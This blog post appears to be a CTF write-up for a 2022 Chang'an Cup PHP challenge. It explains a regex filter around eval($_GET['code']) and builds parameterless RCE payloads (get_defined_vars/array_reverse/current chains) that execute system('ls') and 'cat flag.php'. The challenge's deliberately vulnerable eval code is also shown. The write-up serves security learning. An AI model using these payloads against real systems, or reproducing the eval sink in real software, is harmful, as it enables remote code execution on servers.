2022长安战役杯无参RCE

blog 227

本道题,是2022年长安战役杯的web题目,名称叫做:RCE_No_Para

题目源码:

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

首先,我们先看外层的if判断:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
		 // 继续执行
}else{
  show_source(__FILE__); // 显示源码
}

将满足这个条件的字符/[^\W]+\((?R)?\)/替换为空,首先我们要知道这个正则匹配的意思。

其中的[]表示匹配的开始结束,而^则是取反。

\W 指的是匹配所有非字母数字下划线,但是经过^取反,意思就成了匹配所有字母数字下划线

而中间的+不是为了匹配"+",而是为了作为一个表达式的拼接。

\( \) 用来匹配一个(),而()在正则匹配中是有特殊含义的,所以使用\进行转换

(?R) 表示递归本身,也就是递归整个匹配模式,可以理解为剥蒜,一层一层的剥。

(?R)? 后面的问号则表示匹配0个或1个。所以(())是不满足的因为这里是两个。超过了。

综合上述的理解,所以我们最后只能传入这样的:

a();
a(b());
a(b(c()));

当我们传入以上的时候,它会进行preg_replace功能,也就是将我们的这些代码,进行替换为空,直到替换完所有的之后,最终只剩下;,然后再进行if判断,也就是if(';' === ';')最后就能走第一个if语句里面的代码了。

那么这就是典型的无参RCE了!

接着分析里面那层if语句:

if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }

这里进行了正则匹配,匹配sessionendnextheader、以及diri描述符表示不区分大小写,因为匹配了dir,所以我们不能使用scandir()

以上字符不能传入。否则的话,就输出Hacker!并结束程序的运行。

构造payload:

?code=eval(current(array_reverse(current(get_defined_vars()))));&a=system('ls');

在PHP中有一个get_defined_vars()函数。它的功能是返回由所有已定义变量所组成的数组,也就是将全局变量和自定义变量变成一个关联数组。变量名称作为Key,变量的值作为value

2022长安战役杯无参RCE

该函数返回的前两个Key就为_GET_POST。后面的还包含_FILES以及REQUEST等等。

_GET为例,它的值是一个关联数组,该数组的key是所有通过$_GET接受的值的参数名。比如我们这里通过GET方法传入了?code=123,那么_GET下的关联数组就为key=参数名value=参数的值。也就是code=123

我们可以通过current()pos()函数取到get_defined_vars()返回值的第一个key对应的值。

示例:

<?php 
    $res = current(get_defined_vars());  // 取到_GET对应的值(是个数组)
    var_dump($res); 
 ?>
2022长安战役杯无参RCE

可以发现,已经取到了这个数组。而pos()函数是current()函数的别名。这里不再演示。我们通过GET请求传入的所有参数对应的参数名和值都存放在这个数组之中。

end()函数可以直接取到一个数组里面的最后一个KEY。

<?php 
    $res = current(get_defined_vars()); 
    var_dump(end($res)); // 直接取到"system('ls')"
 ?>

但是end()函数这里被ban掉了,我们就可以使用array_reverse()函数将该数组反转,反转之后"system('ls')"就为第一个了。

<?php 
    $res = current(get_defined_vars()); 
    var_dump(array_reverse($res));
 ?>
2022长安战役杯无参RCE

最后通过current()或者pos()就可以拿到"system('ls')"

<?php   
    var_dump(current(array_reverse(current(get_defined_vars()))));
 ?>

最后将里面的var_dump打印换成eval(),则会去执行我们的"system('ls')"

2022长安战役杯无参RCE

云演平台提供的payload:

?code=system(array_rand(array_flip(current(get_defined_vars()))));&b=cat flag.php

其中的current(get_defined_vars())返回_GET的结果(是个数组),之后使用array_rand(current(get_defined_vars()))得出参数名称,也就是数组的key。之后又使用array_flip()函数交换数组中的键和值,也就是将key变成value,value变成key。由于是array_rand函数随机抽取一个或多个数组的值。所以要想执行我们的cat flag.php需要多试几次。

无参RCE参考:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/https://www.freebuf.com/articles/system/242482.html

分享